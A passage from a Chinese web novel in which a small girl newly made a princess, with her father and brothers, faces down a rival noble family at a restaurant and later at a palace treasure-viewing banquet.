十一托着食盘,站着没动,哪边都不敢得罪,可碎金羹只此一份,这该如何是好? “几位小爷,息怒,息怒!都是小店招呼不周,请诸位莫要动气,莫要动气!“ 局面一时僵住了。 萧宁珣看了一眼在屋里蹦来蹦去的妹妹,手中正握着一根小话梅落下的羽毛,举得高高的,追着小话梅玩得不亦乐乎。 自己带着妹妹,还是不掺和的好,且先由着陆二他们吧, 于是他静静地坐着没动,只竖起了耳朵,倾听着外面的动静。 门外的少年们你一言我一语地仍旧争个不休,突然,一个中年男子的声音响了起来:“做什么这么麻烦!来人!给我将碎金阁围了!我看谁还敢跟镇国侯府争!” “是!“一个下人应了一声,火速冲下了楼,不多时,几十个家丁打扮的人冲了进来,将碎金阁里里外外都给围了。 萧宁珣一听,事情闹得有些大了,把团团抱在怀里,走出来一看,刚才说话的人,年纪大约三十多岁,身材肥胖,一脸横肉。 陆清嘉和白简行认识这人,是韦秉安的叔父,韦仲礼。 二人见到长辈,拱手行礼:“韦伯伯。韦三如此不讲道理,难道你还要护着他?“ 韦仲礼哼了一声,并不搭理他们,显然,他出来就是为了给侄子撑腰的。 韦秉安得了意:“叔父!还是您压得住。陆二,这碎金羹你花了多少银子小爷翻倍赔你,不占你便宜!” 抬眼看到了刚出来的萧宁珣:“我说你在这儿宴请谁呢,原来是宁王府的哑巴啊。” 团团瞪圆了眼睛:“我哥哥不是哑巴,你才是哑巴!你欺负雪豹还欺负陆二,是个大坏蛋!再说我哥哥是哑巴,小鸟就会飞进来,拉在你头上!“ 她自以为很凶残,实际却软绵绵糯唧唧的童音,听得所有人都没忍住,笑了出来。 韦秉安斜了一眼团团:“又是你这个捡来的野种!“ 萧宁珣脸色一沉:“放肆!胆敢出言不逊,冒犯嘉佑郡主?“ 韦秉安一愣:“嘉佑郡主?她是嘉佑郡主?“ 团团很认真地点了点头:“对哦!我就是嘉佑郡主!“ 韦秉安翻了个白眼,哼了一声,这个小丫头居然是个郡主,但就此也就没敢再冲着团团说什么。 开始上上下下打量起萧宁珣来:“我想起来了,上次在万灵苑,你好像就说过一句话,宁王府这是从什么地方寻到了灵丹妙药?居然能让哑巴开口了?” 话音刚落,一只乌鸦从碎金阁的大门口飞了进来,在楼里“嘎嘎”大叫着来回盘旋,吸引了众人的目光。 萧宁珣心中一动,赶忙将团团攥着小话梅羽毛的那只手,用袖子轻轻遮住,阻隔掉旁人的视线。 只见那鸟儿在五楼贴着屋顶飞了几圈后,拍着翅膀掠过了众人头顶,屁股一撅,噗的一声,一股乳白混杂着青色的粪便,便落在了韦秉安额头上。 那粪便甚至还冒着热气,顺着额头就往下流。 “啊!什么东西!"韦秉安急忙伸手去擦,却正好将粘稠地鸟粪抹开,糊了一脸。 “哈哈哈哈哈……“所有人都大笑了起来。 团团拍着两只小手,咯咯咯地笑得很是开心,萧宁珣看了一眼,果然,妹妹手中的那根羽毛已经不见了。 陆清嘉和白简行甚至笑得直不起腰来,指着韦秉安狼狈的模样:”怎么!怎么能这么巧!哈哈哈!真是现世报啊!哈哈哈,哎呦,我不行了,肚子都笑疼了。“ 萧宁珣抱紧了团团,在她脸上亲了一下:“团团真厉害!不过,乖团团,这里坏人太多了,咱们不理他们了,哥哥带你回家。“ 萧宁珣担心团团的安危,不想将事情闹得更大,只想带着妹妹赶紧离开。 韦秉安却恼羞成怒,仗着自己人多,大喊了一声:“给我上!给我打他们!去啊!使劲打!打坏了算我的!“ 众家丁从楼梯两头向萧宁珣他们飞速围了过去,十几个人一起,把三大一小围在了窄小的楼道上。 萧宁珣大喊一声:“护住团团!“把妹妹放到地上,护在身后,陆清嘉和白简行心领神会,三个少年围成了一个三角形,背靠着背,将团团护在了中间。 陆清嘉和白简行从腰间掏出折扇拿在手里,勉强当作是武器。 萧宁珣则从靴筒中拔出了匕首:“我看谁敢上来!“ 第38章 呜呜,我好怕啊 家丁们看见匕首,犹豫着没敢上前。 韦秉安此时已经用袖子将脸上的鸟粪擦掉了大半,但因为实在太过粘稠,不用水洗是根本无法彻底清除的,所以,脸上仍旧臭烘烘,黏糊糊的难受的要命。 他勃然大怒:“看什么看!给我冲上去打啊!” 丢了这么大的人,不找回点儿面子,以后在这京城的权贵圈里岂不成了所有人的笑柄。 家丁们不再犹豫,一哄而上的冲了上去,三个少年死死的护着身后的团团,跟他们混战成了一片。 团团瞪着大眼睛,兴奋的给自己人助威:“加油!” “嗖!”破空之声响起,一支利箭飞来,精准无比地穿过韦秉安的发冠,将他束发的玉冠连同一缕头发死死地钉在了身后的门框上! “啊!”韦秉安吓的一声尖叫,脸色惨白如纸,一句话都说不出来。 所有人的动作瞬间都停了下来。 萧元珩高大的身影出现在大门处,随手将手中的长弓抛给身后侍卫,目光如刀,落在韦仲礼面无人色的脸上。 “韦仲礼!小孩子胡闹,你也跟着昏了头?纵容家奴持械冲击亲王眷属,怎么,镇国侯府的爵位和脑袋,都不想要了? 说完,他迈步上楼,玄色蟒纹的披风飘在身后,几步便来到了儿女的面前。 萧宁珣收起匕首:“父亲!您怎么来了?” 萧元珩上下看了儿子一眼,嗯,没受伤:“你们迟迟未归,我不放心,过来接你们。” 陆清嘉和白简行连忙行礼:“见过王爷。” 团团从几个少年的腿缝里钻出来,伸开小手要抱抱:“爹爹!” 萧元珩急忙把她抱了起来,团团一只小手圈住他的脖子,另一只小手回手一指韦秉安。 “爹爹!他抢我的饭!说三哥哥是哑巴,还说我是野种!” 萧元珩的脸色登时黑了下来,怒目圆睁地盯着韦秉安:“嘉佑郡主乃本王与王妃亲生,蒙国师赐名,圣上下旨,你是吃了熊心豹子胆吗,胆敢出言侮辱!“ 韦秉安双腿一软,跪倒在地:“我……我……“刚刚的盛气凌人此刻在宁王面前哪里还撑得住,早已烟消云散。 韦仲礼心念飞转,走上前来:“见过王爷。不过是几个小孩子因为一点吃食胡闹了一番而已,王爷宽宏大量,不必如此动怒吧。“ 他自知理亏,故意说得轻描淡写,企图大事化小,小事化了。 萧元珩横了他一眼:“哦?你的意思是,就这样算了?“ 韦仲礼拱手:“王爷英明。“ 萧元珩岂能让他就此蒙混过去:“碎金阁的掌柜何在?” “小人在!”一个年近四旬的男子早已等候在五楼的拐角处,听到后马上穿过人群走上前行礼:“见过宁王,小人便是这碎金阁的掌柜杜清。” “你来说!” 杜清心知今日之事必须得有个了断,刚才双方打起来时,他便早已从账房取出了账簿,等着这场纷争结束,再拿出来将自己摘个干净,如今这里宁王最大,正好为自己申辩一番。 他翻开手中账簿:“昨日申初三刻,吏部侍郎府上的二公子遣人来付了五十两银子的订金,预定了今日的碎金羹,宴请嘉佑郡主。“ “今日午时,小店的跑堂十一上菜时,被镇国侯府的三公子拦住,也要今日的碎金羹。” “双方都是贵人,若能两全其美,小店焉能不从。但众所周知,这碎金羹每日只此一份,小店人微言轻,实在无法从中调停,这才有了方才的事情。“ “小人无能,请王爷恕罪。“说完,他给几人纷纷行礼:”贵人们恕罪,恕罪。“ 萧元珩哼了一声:“韦仲礼,你可听到了?此事是谁的过错?“ 韦仲礼无话可说,犹豫了片刻:“此事确是小侄胡闹了。请王爷恕罪。但刚刚王爷那一箭,也已伤了他,就算是两清了吧。” 韦秉安一听这话,连忙捂着头顶喊了一声:“哎呦!好疼!” 萧元珩连个眼神都没给他,握着女儿的小手,轻声问道:“团团,刚才吓到你了吗?告诉爹爹,爹爹给你出气!“ 团团眼珠子一转,爹爹真好,要给我出气呢!那我必须吓到了啊,还要吓得惨惨的,爹爹才好为我出气啊。 虽然她刚才一直兴高采烈地看三哥哥他们怎么打坏蛋,并无丝毫惧怕,此时却瘪住小嘴,“哇”的一声,使劲挤出了两滴眼泪:“爹爹!我怕!呜呜,他们打哥哥,我好怕哦!” 妹妹太聪明了,配合得真好!萧宁珣赶忙低头,忍住了脸上的笑容。 萧元珩微微一笑:“国有国法,家有家规。你一介白身,安敢指斥乘舆,污蔑天家血脉?此乃十恶不赦之大不敬罪!” “我朝最重礼仪尊卑,你强取豪夺在先,出言辱及郡主在后,如此大罪岂有轻纵之理!” “来人!拿下!送京兆府!将本王的话原样转述:此子构陷郡主,语涉宫闱,动摇国本。着,依律严办,以正视听!” 韦仲礼脸色骤变:“宁王!如此重罚,恐难服众吧!“ 萧元珩深知京城中某些人对团团的来历颇有微词,铁了心要杀鸡儆猴:“律法如此,非本王所定。莫非,镇国侯府如今已不在律法辖制之列了?“ 韦仲礼无话可说,哑口无言。 两个侍卫上前,拖起韦秉安就走。 韦秉安此时已被吓得魂飞魄散,送我去京兆府?那地方进去了哪儿还出得来?他拼命挣扎,口中大喊:“我不去!叔父!救我啊!叔父!“ “哎哟!这是怎么了?怎么闹到这儿来了?”一个声音从楼梯上传来,众人抬眼望去,竟然是御前总管程谨言程公公缓步走了上来。 韦仲礼大喜,救星来了!程公公久在御前,镇国侯府从前没少打点过他,韦秉安这次能不能脱罪,就看他的了。 他急忙上前行礼:“程公公,小侄偶有小错,宁王就要以大罪发落,请公公为小侄,为镇国侯府主持公道!” 韦秉安也明白过来,使劲挣脱了侍卫,爬到程公公脚下,抱着他的腿就喊:“求公公救我!” 第39章 少了一碗怎么办 程公公看了叔侄二人一眼,目光落在了眼泪还挂在脸上的团团身上:“哎哟!郡主这是怎么了?怎么还掉眼泪了?” 团团认出了他,张开两只小手伸了过去:“翁翁!抱!” 程公公赶紧走过去,从萧元珩手中把她接过来,抱在了怀里。 小孩子香香软软的味道登时扑了他满怀。 韦仲礼和韦秉安对视了一眼,都有些傻眼,程公公什么时候跟这位刚封的嘉佑郡主这么熟了? 团团躲进程公公怀里,揪着他胸前的一点衣服擦了擦眼泪,委委屈屈地哼唧:“翁翁!他们欺负我!抢我的饭,还打三哥哥他们!” 程公公昨日去宁王府宣旨时,便已经对这个小郡主深为喜爱,此时见她这个样子,心肝都被萌得直颤。 “不哭啊,小郡主,你爹爹在,翁翁也在呢,没人能欺负得了你。敢问王爷,究竟为何事动怒?” 萧元珩斜了一眼仍然站在一旁的杜清:“你跟公公说吧。” 杜清明白这位程公公的份量,于是急忙上前,下跪行礼,将刚才自己说的话又讲了一遍。 程公公听后莞尔一笑:“竟只是为了一碗吃食吗?真是胡闹!” 萧宁珣深知自家爹爹为妹妹立威的用意,待杜清说完,马上上前行了一礼:“程公公,若仅是如此,父亲自然不会动怒。 “实在是因为,韦秉安出言不逊,竟然当众辱及郡主,说郡主是个野种!父亲这才决定要将他押送京兆府中,以律法论罪处置。 团团一直不明白野种这个词,为什么不止一个人说自己是野种呢?于是搂着程公公的脖子问了出来:“翁翁!什么是野种啊?为什么他说我是个野种呢?团团是野种吗?“ 程公公一副老心肝被她的话戳得生疼:“小郡主,那是骂人的脏话,咱们可不兴学啊!“ “你只要记着,你是你爹爹和娘亲亲生的就够了。旁的话,就当他是放屁,可不能再问了啊,知道了吗?“ 团团似懂非懂的看着他,非常乖巧地没有再问:“我记住啦!我是嫡女,是嘉佑郡主,是爹爹和娘亲亲生的!“ “对喽!小郡主真是聪明!“ 程公公低头冷眼看向脚边趴着的韦秉安:“三公子,杂家久闻你纨绔,不想你居然还有如此的胆色,嘉佑郡主乃圣上金口所封,你胆敢如此说她,我看你是不要命了。“ “宁王乃圣上的亲叔叔,他的嫡女是皇室血脉,你出言辱及皇家,是嫌镇国侯的位子坐得太稳了不成!“ “王爷刚才不是说要把他送至京兆府吗?那还等什么?拖下去吧。“ 韦秉安一屁股坐在了地上,嘴唇哆嗦着,连求饶的话都喊不出来了,两个侍卫上前一步,把他拉了起来。 韦仲礼又惊又怒,却不敢吭声,眼睁睁看着侄子被拖了出去。 萧元珩同样被团团刚才的话狠狠诛了心,他冷着脸斜睨了一眼韦仲礼,走到楼梯扶手旁。 高声对碎金阁中的所有人道:“嘉佑郡主,乃宁王府唯一嫡女,若还有人因她的出身血脉有何异议,便是与本王为敌。休怪本王,翻脸无情!” 萧宁珣重重的点了点头,陆清嘉和白简行冲着他竖起了大拇指,你爹威武! 碎金阁内中的所有人都听得清清楚楚面面相觑,宁王对这位嫡女,当真是宝贝的紧啊! 程公公微微一笑:“瞧杂家这记性!方才杂家去府上传圣上口谕,未能寻到王爷,听王妃说王爷来了此处,杂家才追了过来。圣上口谕!” 萧元珩急忙把团团接了过来,所有人闻言都跪下听旨。 程公公道:“皇叔贵体康愈,朕心甚慰,此乃宗室之喜,社稷之福。恰逢临近中秋,朕欲于宫中设宴,一为庆贺佳节,二为皇叔康复贺喜。” 他顿了顿:“特命宁王携全府家眷共赴,以叙天伦之乐。” “臣,遵旨!“萧元珩站了起来。 程公公笑了笑,故意提高了声音:“陛下还特意嘱咐了,旁人也就罢了,嘉佑郡主一定要到。朕备了好东西要赏她。“ 团团学着爹爹的样子,奶声奶气地接了一句:“团团,遵旨!” 程公公高兴地大笑起来:“哈哈哈!这孩子!让杂家可怎么说哦!太灵透了!” 萧元珩抱起女儿,在她的小脸蛋上狠狠亲了一口:“真乖!” 团团捂着肚子:“爹爹,我饿了。” 程公公皱了皱眉:“那碗碎金羹呢?还不赶紧端上来!” 十一早连忙答话:“来喽!浮光厅,上碎金羹!“手脚利落地将一个金色的汤瓮端进了雅间。 韦仲礼心中愤恨,这个宁王,前几年半死不活挺好的,如今一朝痊愈,圣上竟如此看重!今日之事,我镇国侯府跟他的梁子算是结下了。 以后朝堂上,恐怕免不了要平添许多麻烦。 他冲着家丁们轻轻摆了摆手,悄悄转身,溜出了碎金阁。 萧元珩和程公公都留意到了,却佯装不知,今日镇国侯府损了一个儿孙,又颜面尽失,不必再计较什么了。 十一出来行礼:“都备好了,请贵人们入席。“ 团团拽了拽爹爹的衣领,从他的怀里滑了下来,颠颠儿地跑到程公公的身旁,拉起他的手:“翁翁!一起吃!“ 程公公俯下身子:“翁翁还要回去当差,就不打扰郡主了。“ “可是,娘亲说了,可好吃啦,翁翁尝一口嘛!陪团团一起吃!” 萧元珩见状也给女儿帮腔:“今日宴席,本就是为庆贺团团获封郡主,公公就赏个脸,尝尝再走,圣上那边若误了时辰,只管往本王身上推就是。” 程公公笑了,没再拒绝,团团拉着他的手进了雅间,此时,汤瓮已空,却只分出了五盏,摆放在桌上。 程公公看了看,屋中算上团团一共六人,于是故意逗她:“小郡主,你看,六个人,却只有五盏羹,没有杂家的份哦!“ 团团望着他,又看了看其他人,翁翁今天帮了爹爹呢!一定要有翁翁的! 她爬上离自己最近的锦凳,两只小手捧起了面前的那盏:“翁翁!给你!团团下次再吃!” 程公公脸上的笑容蓦地凝住了,心底里最柔然的地方仿佛被什么东西猛地撞了一下。 他在深宫里熬了一辈子,见惯了虚情假意、阿谀奉承,一颗心早已练得硬如铁石,此刻却被这小娃娃一句最纯粹、最不假思索的话,烫得又软又酸。 他嘴角皱纹微微颤抖,将团团捧着的汤盏接了过来,情不自禁地喊了一句:“哎呦……我的小祖宗哎!” 萧宁珣见状出言解围:“来,团团,到三哥这里来,那碗给公公,咱俩一起吃这碗!“ 团团开心地跑了过去:“来啦!来啦!“ 小话梅不知从哪里钻了出来,追着团团,学着她的腔调大喊:“来啦!来啦!“ 满屋子的人都笑了。 第40章 皇宫真大啊 很快,便到了宫宴开宴的日子。 为了团团首次出席如此重要的宴席,程如安亲手为她裁制了一身新衣,刘嬷嬷给团团仔仔细细地穿好后,众人一看: 上身是娇嫩的浅黄色,衣襟与袖口绣着一圈缠枝莲纹,下头配着条月白色的百迭裙。腰间坠着一个绣着同样图案的精巧绣囊。 团团在屋里走了几步,裙摆漾开出柔和的弧度,像极了湖面上泛起的浅浅涟漪。 头上挽了两个乖巧的小鬏鬏,各系了一根镶嵌着红色珊瑚珠子的同色发带,带尾俏生生地垂在耳侧。 脖子上细细的赤金链子下坠着一个金镶玉的长命锁,两个手腕上各戴了一个缠丝珠蕊小金镯。 一张小脸干净圆润得像剥了壳的鸡蛋,一笑起来,那两粒甜糯的小梨涡便立刻陷了下去,盛满了蜜一样看着就甜。 一个小人儿白嫩精致,漂亮得让人移不开眼。 萧宁珣感慨道:“母亲的针线真是好,首饰也配得合适,团团这身打扮,太好看了!怎么能这么好看呢!” 萧宁辰一向话少,并未出言称赞,只在一旁连连点头。 团团低头扯了扯小绣囊:“娘亲,这是你新给我做的?” 程如安微笑:“对啊,跟这身衣服般配嘛!团团喜欢吗?” “喜欢!特别好看!”团团扑到她的怀里,伸出小手把娘亲的脸拉近自己,使劲亲了一下:“只要是娘亲做的,我都喜欢!谢谢娘亲!” 程如安被女儿哄得眉开眼笑,看向萧元珩:“王爷,团团如此赴宴,你看如何?” 萧元珩点了点头:“甚好,我的女儿,就该穿成这个样子。” 刘嬷嬷看了眼时辰:“时候不早了,车已经在外面候着了。” 程如安犹豫了一下:“王爷当真不去?“ “此次宫宴,圣上本想共聚天伦,不想龙体微恙,临时改为由长公主主持的赏珍会,去的想必多是官眷妇人,你带着团团去就行了。“ 程如安点了点头:“王爷说的是。” “娘亲,赏珍会是什么?“团团第一次听到这个词,好奇地问。 “赏珍会啊,就是去的人呢,不止是去吃茶用点心,还要带上自家的精巧玩意儿,大家坐在一起,共同赏鉴。” 团团听到玩意儿,眼睛一亮:“赏珍会就是有吃的,还有好多好玩的!娘亲,那咱们带什么呢?” 程如安心知丈夫痊愈已经足够引人瞩目,只想低调行事,不愿在宴会上再出什么风头:“咱们啊,只是去看看罢了,不必带什么了。“ “走吧。“程如安牵着女儿的小手,站起身来。 “我送你们上车。“萧元珩有些舍不得闺女,又要出门了,这一去,又是大半日都看不到了。 “我也去!“萧宁珣连忙跟上,萧宁辰默默走在最后。 团团先上了车,萧元珩拉住正准备钻进马车的妻子:“那日碎金阁的事如今已传遍京城,想来今日应该无人再敢口出秽语,但若还有不长眼的,不必委屈退让,有我呢。“ 程如安点了点头:“知道了,放心吧。”转身钻进了马车。 父子三人目送着马车渐渐远去,直到消失不见,才恋恋不舍地回了王府。 这次的赏珍会安排在长公主萧安和居住的殿宇,宸晖殿中。 萧安和是当今皇帝的亲姐姐,早年与驸马霍峻明夫妻伉俪,羡煞旁人。不料刚成婚不久,霍峻明便战死沙场,留下长公主一人,年纪轻轻便守了寡。 皇帝将长公主接回宫中,赐居宸晖殿,封为本朝唯一长公主,对这位姐姐极其尊敬。 程如安领着团团来到宸晖殿门口,指着牌匾教给她:“团团,你看,这上面的字啊,叫做宸晖殿。” 团团仰起头,跟着她念:“宸,晖,殿。娘亲,这里好大啊!比咱们的王府还大!” 程如安笑了:“是啊,因为这里是皇宫啊!” 话音刚落,身后便传来一个冷冷的声音:“原来所谓的王府千金,嘉佑郡主,连皇宫都没来过啊!” 程如安回头一看,身后站着两个女子,年长的她认识,正是镇国侯的正房夫人,当家主母赵清岚,年轻的却有些眼生。 “原来是镇国侯府的赵夫人啊,这位是?”程如安听丈夫说过碎金阁的风波,不愿跟她们再打什么交道,只想礼数周全就行了。 “宁王妃万福。”年轻的女子行了个礼,举止得当,貌美端庄:“臣女是镇国侯府嫡女,韦清澄。今日随母亲前来赴宴。” 镇国侯府!那不就是那天想抢我饭的坏蛋他家吗?团团抬起头望向她们:“你也是嫡女啊!我是嘉佑郡主哦!” 赵清岚和韦清澄的脸色顿时都是一沉,这个小兔崽子!小小年纪,却知道用郡主的身份压我们!难怪那天能让秉安栽了那么大的跟头。 按照品级尊卑,侯府虽有爵位,却远远不及郡主的地位尊崇,她们理应向团团行礼问安。 但刚刚看见程如安母女,想起韦秉安两人便是一肚子气,哪里弯得下腰来向一个小娃娃行大礼? 母女俩互相看了一眼,不想行礼却找不到合适的言辞加以推脱,一时全僵住了。 程如安看了女儿一眼,碎金阁一事,两家已起了嫌隙,她素来娴静温和,并不愿将这嫌隙进一步扩大。 于是微微一笑:“两位不必多礼,马上就开宴了,莫误了时辰,进去吧。“转身领着团团走了进去。 见她们走远,韦清澄才狠狠跺了下脚:“娘!你看那个小丫头!如此张狂!女儿无论如何也忍不下这口气!三哥可还在京兆府里没出来呢!娘你就能看得下去?“ 赵清岚拉住女儿的手:“急什么!一个乡下养大的粗野丫头,大字都不识得几个,程如安又是个性子软好欺负的,今日的赏珍会,你寻个机会,让她在众人面前出个大丑不就行了。“ “她那个郡主,不过是圣上看在宁王刚醒,就跑到宫里亲自给她请封的面子上才给的。“ “你是我镇国侯府堂堂正正的嫡女,自小养在我身边,堆金砌玉、请遍名师精心教导出来的,难道还压不过她一个乳臭未干、上不得台面的野丫头?” 赵清岚仔细端详了女儿一番,为她正了正鬓间的发钗:“拿出你的气度来,莫要失了侯府千金的身份!” 韦清澄听了母亲的话,深吸了口气:“娘说得有理,女儿都记下了。“ 赵清岚满意地点了点头,母女俩一同走进了宸晖殿。 宸晖殿内,云顶檀木作梁,水晶玉璧为灯,极尽华贵雍容。 殿中并未设常规席位,而是错落有致地安置了数十张紫檀桌案,每张案上皆铺着明黄锦缎,上面不止有各色精致茶点,还陈列着各家带来的奇巧珍玩。 皇亲贵胄、贵妇千金们此时已三五成群,迤逦其间。 说来也巧,镇国侯府的桌案,刚好便设在宁王府的桌案旁边。 “长公主驾到!“内侍高声唱道。 第41章 我可以全都拿走吗 萧安和缓步走入落座,全场起身行礼:“恭请长公主殿下金安!“ 长公主神情平静,目光缓缓地扫过众人,在程如安和团团身上略有停留,随即轻轻抬手:“平身。” “谢长公主殿下。”众人起身再度落座。 长公主看向程如安:“许久未见宁王妃了,前几日听皇上说起,宁王如今大病痊愈,身康体健,本宫甚是欣慰。” 程如安连忙起身:“谢长公主关怀。” 长公主的目光落在团团身上:“这位便是嘉佑郡主?” 团团好奇地望着她,好美哦!但是,她身上怎么一团灰气,一点都不开心呢?“对啊,我就是!你就是长公主啊?“ 程如安连忙轻声道:“团团,不得无礼,要称呼长公主殿下。“ “哦!“团团一听就知道又要行礼了,于是规规矩矩从座位中出来,小脸儿上的好奇瞬间收敛,努力摆出一副再认真不过的表情,给长公主行了个大礼。 团团小胳膊小腿,动作虽标准,平衡感却不足,一个礼行的规规矩矩,摇摇晃晃,嘴里还一本正经的学着母亲的模样:“长公主殿下金安!“ 长公主微微一笑:“嘉佑郡主甚是可爱,快起来罢。“ 旁边桌上的赵清岚不屑地一撇嘴角,上前一步,规规矩矩地行了个万福礼,笑盈盈地开口:“臣妇参见殿下。” 长公主的目光转向了她,微微颔首。 赵清岚继续道:“今日能得殿下相邀,赴这赏珍盛会,实乃臣妇与小女的荣幸。”说着,侧身将韦清澄稍稍向前引了引。 韦清澄趁势向前,向长公主深深一福:“臣女韦清澄,对殿下钦慕已久,今日特意将家中珍藏的一件‘飞天乐舞人偶’带了来,供殿下品鉴。“ “虽是俗物,却堪称机巧之极。不敢说入殿下的眼,只盼能博殿下一笑,为这盛会略添一分光彩。” 她话语里满是谦逊,可字字句句都在强调自家今日带来的东西十分珍贵不凡,炫耀之意,昭然若揭。 长公主闻言,脸上笑意未减,眉梢轻轻一挑:“有心了。既然如此,准了,便呈上来一观吧。” 韦清澄命身后两名侍女抬上来一座三尺余高的赤金嵌宝的自动人偶,亲自动手,小心翼翼地为其上足发条。 “啪嗒“一声,机括开启,人偶随之舞动,旋转抬手间,上面的宝石折射出璀璨光芒,内藏的八音轮里水珠般的声音一粒粒滚出来,滴滴答答,旋律悦耳之极。 殿中顿时响起一片惊叹。 “真是巧夺天工!镇国侯府果然底蕴深厚!” “不愧是侯府千金啊!当真见多识广!” “今日盛会,这飞天乐舞人偶当属头筹!” 韦清澄唇角噙笑,享受着这些惊叹和赞美。 正暗自得意,忽然看到团团正目不转睛地盯着正在旋转舞动的人偶,看傻了?没见过吧,野丫头! 她眼底掠过一丝轻蔑,故意提高了声音:“此物乃西域巧匠耗时数年所制,世间仅此一件。今日能博殿下与诸位一笑,便是它的造化了。” 话锋一转:“不知嘉佑郡主带了什么宝贝,让我开开眼界?” 殿内霎时一静,程如安面色微沉,正要开口,却被团团拽了下衣袖。 “我没有哦。“团团奶声奶气的回答,小手一指人偶下面,一个被侍女用来垫稳底座的旧木楔子:”这个是什么啊?“ 韦清澄低头一看,掩嘴轻笑:“一个用来垫脚的木楔子罢了,怎么?郡主不喜这人偶,反倒看上了这个?“ “嗯嗯!“团团点了点头。 韦清澄唇边的讥讽藏都藏不住了:“郡主的眼光……果然独特,既然郡主喜爱,我不要了,送于你好了。“ 她摆了摆手,侍女走上前,将人偶抬起,拿出木楔子,送到了团团的面前。 “你真的不要了吗?“团团很认真地问。 韦清澄几乎控制不住脸上的笑容了:“不要了,此等寻常之物,我侯府中多的是,郡主若是喜欢,大可全都拿走。“ 团团这才伸手接了过来:“是你说不要了,我才捡走的哦!“ 满殿中人尽皆愕然,随即爆发出压抑不住的低声嗤笑。 “听闻宁王这位嫡女,自幼养于乡野,今日一见,果然是……见识浅薄啊。“ “虽有郡主之名,难登大雅之堂啊。“ 程如安却心中一跳:“团团,这木楔子有何异处?“ 团团将木楔子放在桌上,翻来覆去不停地摆弄着。 程如安仔细看去,那木楔颜色暗沉,形状普通,看起来极是寻常。 “娘亲!你看这里……“话未说完,团团的手指摸了上去,用力一按。 “嗡——” 一阵低沉悦耳的嗡鸣突然响起,清越悠长,瞬间压过了那人偶的旋律,也打断了殿内所有窃窃私语。 众人惊愕的目光中,木楔陡然展开,一层一层向上翻卷,露出了里面洁白温润的木质,金丝般的纹理在木纹中流转,隐隐组成玄奥的图案,一股奇异的香气逐渐在殿中弥散开来。 “这、这是……!”席间一位白发苍苍的老太妃猛地起身,踉跄着走到了桌前:“金丝沉香木!前朝鲁氏的璇玑尺!” 老太妃激动的声音颤抖:“《匠典》有载,鲁大师制璇玑尺三枚,用以调音律、正机巧!其上金丝乃天然形成,暗合天道韵律!失传已久。竟、竟被拿来垫东西?!” 刹那间,所有目光齐刷刷射向韦清澄母女。 方才那巧夺天工的人偶,在这样真正的绝世瑰宝前,顿时显得俗不可耐。 而将其拿来垫物的镇国侯府,更是成了天大的笑话! 韦清澄脸色煞白,嘴唇微微抖动,一个字也说不出来。赵清岚面红耳赤,恨不得找个地缝钻进去。 程如安微微一笑,轻轻摸了摸女儿的小脑袋,这孩子不但眼光独特,身上的福运,也真是逆天啊。 团团浑然不觉自己引起了怎样的风波,开心地抬起头看向她:“娘亲!好看吗?它好香啊!“ “好看!真好看!“程如安眼角滑过韦清澄母女,不欲让她们再尴尬下去:”收起来吧,团团。“ 团团点了点头,又摆弄了两下,大眼睛仔细盯着某处,嘴里念叨着:“这里……“小手指按下,音乐戛然而止,木楔层层收拢,又恢复成了原先那个毫不起眼的样子。 “娘亲!绣囊太小,我放不进去。”团团拽了拽腰间的绣囊,看着木楔,有些发愁。 程如安一时无言:如此稀世珍宝,原本是镇国侯府之物,虽然韦清澄有言在先,送给了团团。 但是,如今宝物露出真容,众目睽睽之下,难道,真的让团团就此拿走? 正犹豫时,团团一蹦一跳地跑到韦清澄面前,仰起小脑袋,一本正经的开口问道:“这个东西,你家里真的还有很多吗?我可以去全都拿走吗?” 程如安哑然,竭尽全力憋住气才忍住了没有笑出来。 她忍住了,旁人可就忍不住了,众人想起方才韦清澄说的那句,“此等寻常之物,我侯府中多的是,郡主若是喜欢,大可全都拿走。”全都哄堂大笑,“哈哈哈哈哈哈……” 第42章 上门欺负过三哥的人,我不帮! 韦清澄母女的面皮紫涨,身子明显颤抖,几乎就要站立不住。 长公主虽然也忍俊不禁,但很快便止住了笑:“嘉佑郡主,不必担心,待宴会结束,本宫便让人将这璇玑尺送到宁王府的马车上。” 她看向韦清澄:“想必侯府千金,定然是言出必行的。” 韦清澄咬紧了后槽牙应了一声:“自然,自然,臣女遵命。”说完便坐了回去,一腔愤恨无处发泄,手中的锦帕绞成了一团。 团团跑回到程如安的身边,爬上自己的座位,拿起桌上的点心开开心心的吃了起来。 “嘉佑郡主目光如炬,不知是否能解得开我带来的这件东西?” 一个清脆的女声响起。 程如安望过去,眉头微微皱起,说话的正是户部侍郎顾大人的嫡女顾宛青。 韦清澄向顾宛青投去了感激的目光,两人年龄相仿,从小便经常玩在一处,堪称闺中密友,顾宛青此时开口,显然是来帮自己的。 团团听到有人提到自己,也看了过去,不认识! 顾宛青身旁还坐着一个满头珠翠的贵妇。 咦,这个人怎么好像见过?啊!想起来了,就是那个,带了好多人上门欺负三哥哥的人! 团团继续吃着,没有搭理她。 众目睽睽,这小丫头竟敢对女儿的话充耳不闻!杜令仪脸色一沉:“小女唐突了。嘉佑郡主可是不愿?“ 团团咽下了口中的糕点:“你来我家里欺负过三哥哥,我为什么要帮你?“ 提起这件事杜令仪几乎就要勃然大怒,自己好端端的儿子,去了一趟宁王府,出来就被马踩断了腿,现在还躺在床上,居然还是我的错了? 更不要提和萧宁珣交换的那个玉佩了,摔出了那么多裂痕,早就不值一文了。 回到府中,还被长辈们狠狠责罚了一顿:“不识货的东西!你送出去的那个玉佩,看似普通,却是咱们顾家祖宗留给儿孙的祥瑞之物!竟被你就这样白白地送了出去!“ 想起这一切她眼中几乎就要喷火,却被女儿在桌下轻轻拉了一下衣袖,拦住了:“郡主如此天资聪颖,能化腐朽为神奇……” 她话锋一转:“难道不愿让我等凡夫俗子,再开开眼界,亲眼见证一番何为真正的‘神乎其技’吗?” 她站起身,对着长公主深深一福:“此物是我顾家祖传,已不是第一次带来赏珍会了,却始终无人能解。如今既有郡主这般的人物在,想来长公主殿下也是想一睹真容的吧。” 长公主看了她一眼,面沉如水,随即望向团团,轻声道:“郡主可愿一试?便是解不开也无妨。“ 程如安眉头深锁,顾家这孩子,竟想把团团放在火上烤?她刚想开口婉拒。 团团眼珠子一转,一脸狡黠:“那是你的东西,我不帮。“ 顾宛青心中暗忖:此物在家中多年,遍寻了无数能工巧匠都无法解开,若一直解不开,放在手中不过就是废铁一块,难道这五岁稚童当真有通天之能?绝不可能! 她挤出一个难看的笑容:“郡主说的是,既然如此。” 